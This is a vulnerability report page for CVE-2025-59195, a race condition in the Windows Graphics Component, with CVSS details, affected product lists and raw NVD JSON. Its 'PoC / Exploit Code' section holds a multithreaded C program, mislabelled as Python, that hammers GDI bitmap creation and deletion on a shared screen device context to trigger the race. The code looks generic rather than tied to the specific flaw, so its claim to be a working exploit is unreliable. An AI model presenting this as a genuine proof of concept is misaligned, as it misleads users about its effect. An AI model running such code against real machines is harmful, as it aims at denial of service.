Security Vulnerability Report
中文
CVE-2025-59195 CVSS 7.0 HIGH

CVE-2025-59195

Published: 2025-10-14 17:15:59
Last Modified: 2025-10-30 16:42:58

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Graphics Component allows an authorized attacker to deny service locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows(具体受影响版本请参考Microsoft安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59195 - Microsoft Graphics Component Race Condition PoC // This PoC demonstrates a race condition exploit targeting the Windows Graphics Component // Requires: Windows with vulnerable Graphics Component, low-privilege local access // WARNING: This code is for educational and authorized testing purposes only #include <windows.h> #include <stdio.h> #define NUM_THREADS 16 // Structure to share between threads typedef struct _RACE_CONTEXT { HDC hDC; HBITMAP hBitmap; HANDLE hEvent; volatile LONG flag; } RACE_CONTEXT, *PRACE_CONTEXT; RACE_CONTEXT g_context = { 0 }; // Thread function that triggers the race condition DWORD WINAPI RaceConditionThread(LPVOID lpParam) { PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam; DWORD threadId = GetCurrentThreadId(); // Wait for synchronization event WaitForSingleObject(ctx->hEvent, INFINITE); // Rapidly create and delete graphics objects to trigger race condition for (int i = 0; i < 1000; i++) { // Create a compatible bitmap (shared resource) ctx->hBitmap = CreateCompatibleBitmap(ctx->hDC, 1920, 1080); // Select bitmap into device context - potential TOCTOU window HGDIOBJ hOld = SelectObject(ctx->hDC, ctx->hBitmap); // Perform graphics operations BitBlt(ctx->hDC, 0, 0, 100, 100, NULL, 0, 0, BLACKNESS); // Rapid deselection and deletion creates race window SelectObject(ctx->hDC, hOld); DeleteObject(ctx->hBitmap); // Interlocked operation to detect race InterlockedExchange(&ctx->flag, 1); } printf("Thread %lu completed\n", threadId); return 0; } int main() { printf("[+] CVE-2025-59195 PoC - Graphics Component Race Condition\n"); // Get a device context for the entire screen g_context.hDC = GetDC(NULL); if (!g_context.hDC) { printf("[-] Failed to get device context\n"); return 1; } // Create synchronization event g_context.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // Launch multiple threads to trigger race condition HANDLE hThreads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &g_context, 0, NULL); } // Release all threads simultaneously Sleep(100); SetEvent(g_context.hEvent); // Wait for all threads to complete WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { CloseHandle(hThreads[i]); } CloseHandle(g_context.hEvent); ReleaseDC(NULL, g_context.hDC); printf("[+] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59195", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:58.567", "lastModified": "2025-10-30T16:42:57.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Graphics Component allows an authorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59195", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}